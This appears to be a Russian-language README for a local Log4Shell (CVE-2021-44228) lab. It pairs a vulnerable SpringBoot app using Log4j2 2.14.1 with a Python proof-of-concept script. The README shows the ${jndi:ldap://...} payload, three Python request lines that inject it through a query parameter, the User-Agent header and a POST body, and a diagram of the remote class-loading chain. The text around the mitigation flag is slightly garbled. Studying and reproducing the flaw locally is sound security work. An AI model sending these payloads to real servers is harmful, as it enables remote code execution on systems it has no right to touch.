
CVE-2021-44228 (Log4Shell) полигон для воспроизведения уязвимости | SpringBoot + Log4j2 2.14.1 | Проверка PoC с 3 векторами атаки
⚠️ Отказ от ответственности: Данный проект предназначен исключительно для изучения безопасности и технических исследований. Все уязвимые среды развернуты локально, тестирование на реальных целях не проводилось. Не используйте в незаконных целях, риск использования проекта несет сам пользователь.
Log4j2 — самый широко используемый фреймворк логирования в экосистеме Java. Он имеет функцию Lookup, которая позволяет вставлять динамическое содержимое в логи с помощью синтаксиса ${...}. В версиях 2.14.1 и ниже, когда в содержимом лога появляется ${jndi:...}, Log4j2 автоматически отправляет JNDI-запрос на указанный адрес, что позволяет атакующему выполнить удаленный код (RCE).
Уязвимость имеет номер CVE-2021-44228, оценку CVSS 10.0 (максимум), условия эксплуатации крайне просты, она затрагивает практически все Java-приложения, использующие Log4j2, а стоимость эксплуатации крайне низка.
Предварительные требования: JDK 8+, Maven, Python 3, библиотека requests
Шаг 1: Запуск уязвимой лаборатории
Откройте проект в IDEA и запустите VulnApplication.java. Успешный запуск подтверждается следующим выводом:
Tomcat started on port(s): 8080 (http)
Started VulnApplication in 1.1 seconds
Шаг 2: Запуск PoC-скрипта
cd exploit
pip install requests
python exploit.py
${jndi:ldap://127.0.0.1:1389/EvilClass}
Внедрение payload через URL-параметр, триггер logger.info("User Login: {}", username):
r = requests.get(f"{target_url}/login", params={"username": payload}, timeout=5)
Внедрение payload через HTTP-заголовок, триггер logger.info("User-Agent: {}", headers):
r = requests.get(f"{target_url}/api/headers", headers={"User-Agent": payload}, timeout=5)
Внедрение payload через тело POST-запроса, триггер logger.info("Data: {}", body):
r = requests.post(f"{target_url}/api/data", data=payload, timeout=5)
[+] Получено соединение! С 127.0.0.1:51631
[+] Уязвимость подтверждена! Log4j2 отправил JNDI-запрос
[+] CVE-2021-44228 успешно воспроизведена
Слушающий порт получил TCP-соединение от лаборатории, что означает, что Log4j2 распарсил ${jndi:...} и отправил LDAP-запрос — уязвимость подтверждена.
Функция Lookup в Log4j2 позволяет вставлять динамическое содержимое в логи с помощью синтаксиса ${...}, например ${env:PATH} для чтения переменных окружения, ${sys:user.dir} для чтения системных свойств.
JNDI (Java Naming and Directory Interface) — это интерфейс именования и каталогов Java. При передаче адреса он выполняет поиск и возвращает результат. Если возвращается Java-класс, JVM автоматически загружает и выполняет его.
① Атакующий вводит в поле: ${jndi:ldap://IP_атакующего:1389/EvilClass}
↓
② Сайт получает ввод и записывает лог через logger.info()
↓
③ Log4j2 парсит содержимое лога и обнаруживает ${jndi:ldap://...}
↓
④ Log4j2 отправляет LDAP-запрос → подключение к серверу атакующего
↓
⑤ LDAP-сервер атакующего возвращает: "скачайте EvilClass.class по этому адресу"
↓
⑥ Сервер жертвы скачивает и загружает класс EvilClass
↓
⑦ Статический блок кода EvilClass выполняется автоматически → RCE (удаленное выполнение кода)
-Dlog4j2.formatMsgNoLookups=true в параметры запуска${jndi:log4j2-vuln-lab/
├── pom.xml # Конфигурация Maven, указывает уязвимую версию Log4j2 2.14.1
├── exploit/
│ └── exploit.py # PoC-скрипт эксплуатации: 3 вектора атаки + проверка через TCP-прослушивание
└── src/main/
├── java/com/vuln/log4j/
│ ├── VulnApplication.java # Класс запуска SpringBoot
│ └── controller/
│ └── UserController.java # 3 точки внедрения уязвимости (GET-параметр/заголовок UA/тело POST)
└── resources/
├── application.yml # Конфигурация порта + уровня логирования
└── log4j2.xml # Файл конфигурации Log4j2